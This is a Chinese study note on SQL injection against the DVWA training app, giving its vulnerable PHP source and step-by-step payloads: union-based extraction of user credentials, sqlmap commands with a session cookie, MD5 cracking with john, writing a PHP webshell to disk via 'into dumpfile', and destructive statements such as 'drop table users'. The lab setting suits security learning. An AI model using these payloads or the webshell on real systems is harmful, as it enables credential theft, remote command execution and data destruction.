此篇文章作为本人的学习小笔记,有任何不足之处望各位大牛多多指教~

SQL注入漏洞作为OWASP TOP10中重要的一部分,可见其安全性的危害有多大。简单地说,SQL注入就是通过构建特殊的具有SQL语法的语句,绕到数据库中进而执行相应的操作的漏洞。关于SQL注入更多的描述就不再多说了,网上资料也很多,下面就直接上笔记。


基于报错的检测方法:

各种符号以及组合: ‘  “  (  %


基于布尔的检测:

1’ and ‘1’=’1和1’ and ‘1’=’2
相当于1’ and ‘1和1’ and ‘0
当返回的结果不同时即有漏洞

几个常用的函数:

user()返回当前数据库连接使用的用户;

database()返回当前数据库连接使用的数据库;

version()返回当前数据库的版本;

concat或者concat-ws函数可以将这些函数进行组合使用并显示出来。concat函数中,将其中的参数直接连接起来产生新的字符串。而在concat_ws函数中,第一个参数是用于作为分隔符将后面各个参数的内容分隔开来再进行相应的连接产生新的字符串。以其常用的例子为例:

concat_ws(char(32,58,32),user(),database(),version())
其中char()函数为将里面的参数转化为相应的字符,其中32为空格,58为冒号(:),通过这样的方式可以绕过一些简单的过滤机制。


几个全局函数:
@@datadir  @@hostname  @@VERSION  @@version_compile_os

Low级:

源代码:

<?php     

if(isset($_GET['Submit'])){ 
     
    // Retrieve data 
     
    $id = $_GET['id']; 

    $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; 
    $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' ); 

    $num = mysql_numrows($result); 

    $i = 0; 

    while ($i < $num) { 

        $first = mysql_result($result,$i,"first_name"); 
        $last = mysql_result($result,$i,"last_name"); 
         
        echo '<pre>'; 
        echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
        echo '</pre>'; 

        $i++; 
    } 
} 
?>
可以看到,对于输入的变量id的值并没有过滤而直接用到SELECT语句中,报错还调用mydql_error()函数显示mysql数据库的报错信息。
下面就直接进行检测利用了:

先输入一个单引号,发现会报错,接着输入基于布尔检测的两条语句,发现第一条会直接返回信息,第二条没有反应,可以确定存在SQL注入漏洞:


接着通过order by语句猜测列数,一开始输入3时报错,改为2时正常输出,即可确定有两列:

再就是用union语句接上select语句使用前面提过的函数组合即可查询到用户、数据库及其版本等信息:


获取目标主机操作系统的信息:



知道数据库为dvwa后,查询所有的表名,可知道有两个:


可知users表更为重要,直接对其进行进一步的查询,查看其所有的列名:

列名在这里只选两项最为有价值的即user和password进行查询:

上面使用的组合方法都是一次性列出的,当然想分开看就换个语句:

payload为:

1' union select null,concat_ws(char(32,58,32),user,password) from users #

1' union select null,group_concat(concat_ws(char(32,58,32),user,password)) from users #


当然,除了手工注入外,我们可以使用强大的SQL注入扫描工具sqlmap来进行扫描:

先来探测一下该页面是否存在SQL注入漏洞,因为DVWA是需要登录的,需要用到cookie信息。可以通过F12打开开发者工具来获取用户的cookie信息,当然也可以通过其他方式来获取:


将cookie信息复制上去--cookie参数上运行下面的命令:

sqlmap -u "http://10.10.10.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4b83d8e86f5c43eff7dfa2b2be087838" --batch

其中-u参数指定目标URL,--batch参数采用默认选项、不进行询问。

结果发现是可注入的:


接着通过--dbs参数查看所有的数据库:

sqlmap -u "http://10.10.10.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4b83d8e86f5c43eff7dfa2b2be087838" --dbs --batch

扫描发现所有的数据库:


这里我们只对dvwa数据库感兴趣,通过-D参数指定为dvwa数据库,--tables参数查看所有的表:

sqlmap -u "http://10.10.10.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4b83d8e86f5c43eff7dfa2b2be087838" -D dvwa  --tables --batch

结果发现存在两个表,接着就扫描最感兴趣的users表了,通过-T参数指定表为users,--columns查看该表的所有列:

sqlmap -u "http://10.10.10.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4b83d8e86f5c43eff7dfa2b2be087838" -D dvwa  -T users --columns --batch


所有列名都知道了,下面直接用--dump参数将所有列的信息都列出来即可:

sqlmap -u "http://10.10.10.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4b83d8e86f5c43eff7dfa2b2be087838" -D dvwa  -T users --dump --batch


这样,几乎所有的信息都挖掘出来了,利用sqlmap来扫描的过程大致如此。



Medium级:

在中等级别的源代码如下:

<?php 

if (isset($_GET['Submit'])) { 

    // Retrieve data 

    $id = $_GET['id']; 
    $id = mysql_real_escape_string($id); 

    $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id"; 

    $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' ); 
     
    $num = mysql_numrows($result); 

    $i=0; 

    while ($i < $num) { 

        $first = mysql_result($result,$i,"first_name"); 
        $last = mysql_result($result,$i,"last_name"); 
         
        echo '<pre>'; 
        echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
        echo '</pre>'; 

        $i++; 
    } 
} 
?>
其中mysql_real_escape_string函数是实现转义 SQL 语句字符串中的特殊字符,如输入单引号’则处理时会在其前面加上右斜杠\来进行转义,如果语句错误则输出相应的错误信息。其中受影响的字符如下:
\x00
\n
\r
\
'
"
\x1a

虽然在代码中通过mysql_real_escape_string函数对一些敏感字符进行了相应的过滤,但是在SELECT语句中变量id的值的获取并没有通过外加单引号或者双引号来实现,即那层过滤也形同虚设,只需在输入中连需要闭合用的单引号等都不需要添加了,直接输入相应的语句即可:
例子中payload为:
1 union select table_name,table_schema from information_schema.tables

其他具体的挖掘参照low级别的操作即可。


High级:


在高等级别的源代码如下:
<?php     

if (isset($_GET['Submit'])) { 

    // Retrieve data 

    $id = $_GET['id']; 
    $id = stripslashes($id); 
    $id = mysql_real_escape_string($id); 

    if (is_numeric($id)){ 

        $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; 
        $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' ); 

        $num = mysql_numrows($result); 

        $i=0; 

        while ($i < $num) { 

            $first = mysql_result($result,$i,"first_name"); 
            $last = mysql_result($result,$i,"last_name"); 
             
            echo '<pre>'; 
            echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
            echo '</pre>'; 

            $i++; 
        } 
    } 
} 
?>
其中,stripslashes函数是实现删除反斜杠的功能;is_numeric函数判断变量id是否为数字类型,如果不是则后面的语句都不会实现,这就意味着输入的数据类型必须为数字类型才能接着实现后面的注入语句。这样就暂时不会对其进行利用了。


补充的知识:

无权读取information_schema以及不能执行union和order by语句:

上面的漏洞挖掘和信息查询等都是建立在当前用户有权读取information_schema库的基础上的,若无权则需要通过下列的逻辑判断来猜测相应的内容。

猜测列名:

' and column is null #

其中column为猜测的列名


猜测当前表表名:
' and table.user is null #

其中table为猜测的当前表表名


猜测其他表:
' and (select count(*) from table)>0 #

其中table为猜测的其他表表名


列表对应关系:
' and users.user is null #

其中users和user为猜测的列表对应关系的两项


猜测字段内容:
' or user='admin
' or user like '%a%

其中admin和包含字符a都是猜测字段的内容


猜测账号对应密码:
' or user='admin' and password='286755fad04869ca523320acce0dc6a4

其中password中的MD5密码为猜测账号对应的密码


一句句输入猜测即可,以DVWA为例,若该项存在则上面都不返回,否则将会报错
比较好的方法是通过Burpsuite运用Kali中的字典进行爆破:
先是查找相关字典,如关于列名的:
find / -name *column*.txt

把文件中的井号开头的行去掉,以防在查询中出现问题:
cat common-columns.txt |grep -v ^# > column.txt

接着上Burpsuite即可:


通过load选项上传文件:


通过观察长度值来判断是否有该列:


另外,查找的准确性与该txt文件中包含的列名的数量以及准确度有关,即爆破出来的不一定能找到所有的列。
后面信息的猜测方法也类似,就不再多说了。
注意一点的是在进行密码爆破时,可以先把密码字典文件通过md5sum命令将其都转化为MD5值然后再进行爆破即可。



Kali破解密码:

识别密码类型:
hash-identifier
以DVWA为例,识别出最有可能的为MD5加密密码,并将其相应的用户名和密码保存为DVWA.txt文件:


john --format=raw-MD5 DVWA.txt


通过--show命令直接查看结果:


运行之后生成.jhon目录,进入目录,其中log后缀的文件记录john解密的细节,查看pot后缀文件也可以查看解开的密码:



读写文件:

读文件load_file()



写文件into dumpfile()

1' union select 1,"<?php passthru($_GET['cmd']);? >" into dumpfile 'a.php' #

在靶机上查找该文件,发现并不在www目录中:


尝试进入该目录,发现只能进入到mysql目录中,用ls查看一下发现dvwa目录是mysql用户的主目录,只有mysql用户对其具有所有的权限:


这也说明了为什么一开始不能直接将一句话木马写到www目录中,因为sql漏洞中的用户是mysql,其没有相应高的权限将文件写到www目录中,因而现在即使写入文件了也没办法进行利用。
OS有一个通用的目录/tmp,所有的用户都可以进行所有操作。
1' union select 1,"<?php passthru($_GET['cmd']);?>" into dumpfile '/tmp/a.php' #

接着结合文件包含漏洞将tmp目录中的a.php文件包含进来:


在/usr/share/webshells/php目录中,有反弹shell脚本php-reverse-shell.php
cat php-reverse-shell.php | xxd -ps | tr -d ‘\n’
xxd转化为十六进制的内容,-ps参数将其显示出来,tr命令删除换行符
下面例子就只用一句话木马简单示范:


直接利用即可,在十六进制前加上0x:
1' union select 1,"0x3c3f706870206563686f207368656c6c5f6578656328245f4745545b27636d64275d293b3f3e" into dumpfile '/tmp/a.php' #


保存下载数据库into outfile()

结合文件包含漏洞使用,
1' union select 1,concat_ws(char(32,58,32),user,password) from users into outfile '/tmp/user-psw.db' #

通过文件包含漏洞访问得到:




当数据库可写时:

除了SELECT语句之外,还可以利用其他的一些注入语句,从而绕过指定账号登陆的限制:

';updata users set user='wy' where user='admin
';updata users set password=’a' where user='admin
';insert into users () VALUES (); #
';drop table users; #

可以在Kali的应用程序>数据库评估软件>HexorBase中进行各种数据库语句的输入测试
但是在DVWA和HexorBase中却不会进行正常的处理。

更多推荐

通过DVWA学习SQL注入漏洞